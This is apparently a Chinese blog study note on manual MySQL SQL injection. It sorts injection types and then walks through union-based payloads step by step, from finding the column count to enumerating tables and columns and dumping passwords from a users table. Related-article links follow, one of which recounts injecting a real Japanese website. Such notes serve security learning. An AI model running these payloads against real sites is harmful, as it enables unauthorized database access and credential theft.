0x00 SQL注入的分类:

(1)基于从服务器接收到的响应

        ▲基于错误的 SQL 注入

        ▲联合查询的类型

        ▲堆查询注射

        ▲SQL 盲注

            •基于布尔 SQL 盲注

            •基于时间的 SQL 盲注

            •基于报错的 SQL 盲注

(2)基于如何处理输入的 SQL 查询(数据类型)

        •基于字符串

        •数字或整数为基础的

(3)基于程度和顺序的注入(哪里发生了影响)

        ★一阶注射

        ★二阶注射

(4)基于注入点的位置上的

        ▲通过用户输入的表单域的注射。

        ▲通过 cookie 注射。

        ▲通过服务器变量注射。 (基于头部信息的注射)

0x01 MYSQL 手工注入流程——基于错误的 SQL 注入

(1)闭合方式:

首先,需要确定SQL语句的闭合方式,常见闭合方式有:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";    

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";    

(2)order by 查字段数

举例:

?id=1' order by 4--+  //返回Ture(这里的--+可以替换为#,都是注释符的意思)

?id=1' order by 5--+  //返回False

说明字段数为4

(3)确定数据显示位置

?id=0' union select 1,2,3,4--+

通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动

(4)查询当前数据库名

?id=0' union select 1,2,3,database()--+    

(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)

(5)查询当前数据库的所有表名

0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

(6)查指定表名的所有字段名

0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

(7)查指定表的指定字段的所有内容

0' union select 1,2,3,group_concat(password) from users --+

(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制

1)0' union select 1,2,3,password from users limit 0,1--+

2)0' union select 1,2,3,password from users limit 1,1--+

3)0' union select 1,2,3,password from users limit 2,1--+

0x02 MYSQL 手工注入实战——基于错误的 SQL 注入

这里暂时还没写好,等之后补充进来。

MYSQL手工注入(详细步骤)—— 待补充的更多相关文章

  1. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  2. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  3. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  4. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  5. MySQL数据库迁移详细步骤(转)

    ========================================================================================== 一.背景简介 == ...

  6. MySQL数据库迁移详细步骤

    转载自:http://sofar.blog.51cto.com/353572/1598364 ===================================================== ...

  7. mysql手工注入步骤

    1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...

  8. MySql主从搭建详细步骤

    环境: linux64位,一台机器两个实例,主库3306端口,从库3307端口 步骤: 一.下载安装 先下载安装mysql,这里使用了5.7.21版本,具体过程不做详细说明,可自行查资料如何下载 二. ...

  9. MYSQL手工注入某日本网站

    作者:ice   团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...

随机推荐

  1. Linux ssh密钥自动登录 专题

    在开发中,经常需要从一台主机ssh登陆到另一台主机去,每次都需要输一次login/Password,很繁琐.使用密钥登陆就可以不用输入用户名和密码了 实现从主机A免密码登陆到主机B(即把主机A的pub ...

  2. UWP使用AppService向另一个UWP客户端应用程序提供服务

    原文:UWP使用AppService向另一个UWP客户端应用程序提供服务 在上篇里,我使用的是寄宿在WPF上的WCF进行两个程序间的通信,在解决问题的同时,我的同事也在思考能否使用UWP来做这件事.于 ...

  3. TP5.0中使用trace调试

    1.在项目 的配置文件config.php 配置, 2.在程序中使用trace: 3.在浏览器网页上打开 得到如下图所示:点击 “用户变量”,即可查看使用trace输出的变量 或者我们使用 trace ...

  4. 01 Python初探

    Python初探 Become a better version of yourself! 诞生 python的创始人为吉多·范罗苏姆(Guido van Rossum).1989年开始写Python ...

  5. Bigtable:结构化数据的分布式存储系统

    Bigtable最初是谷歌设计用来存储大规模结构化数据的分布式系统,其可以在数以千计的商用服务器上存储高达PB级别的数据量.开源社区根据Bigtable的设计思路开发了HBase.其优势在于提供了高效 ...

  6. QQ邮箱打败163邮箱的过程(重视用户体验的结果)

    引用 楼主 CKAOS 的回复: 目前负责一个项目,ASP.NET的,做一个网盘系统,别的都弄好了,只差一个下载文件夹的功能未实现,只能在服务器端打包成压缩文件,再发回浏览器.如何直接下载文件夹,不是 ...

  7. Delphi指针运用理解

    现在是面向对象漫天飞的年代了,大家都在在谈面向对象编程.Java对指针“避而不谈”,C#虽然支持指针运用,但是也淡化处理. 然而,指针还是好完全掌握为妙,省得在开发过程碰钉子,至于对指针的运用在于开发 ...

  8. Dependency Injection 筆記 (4)

    续上集未完的相关设计模式... (本文摘自電子書:<.NET 依賴注入> Composite 模式 延续先前的电器比喻.现在,如果希望 UPS 不只接计算机,还要接电风扇.除湿机,可是 U ...

  9. android核心系列--1,组件生命周期

    一,进程模型及进程托管 1,一个APP应用是由一个或多个组件构成的,这些组件可以运行在一个进程中,也可以分别运行在多个进程中: 进程的构造和销毁是由系统全权负责的. 2,一个应用进程只有一个应用环境对 ...

  10. C++ Builder 控件的卸载

    控件卸载: 1.选择   BCB   菜单   File→Close   All   (关闭所有文件)     选择BCB   菜单:   Project→Options→Packages   在   ...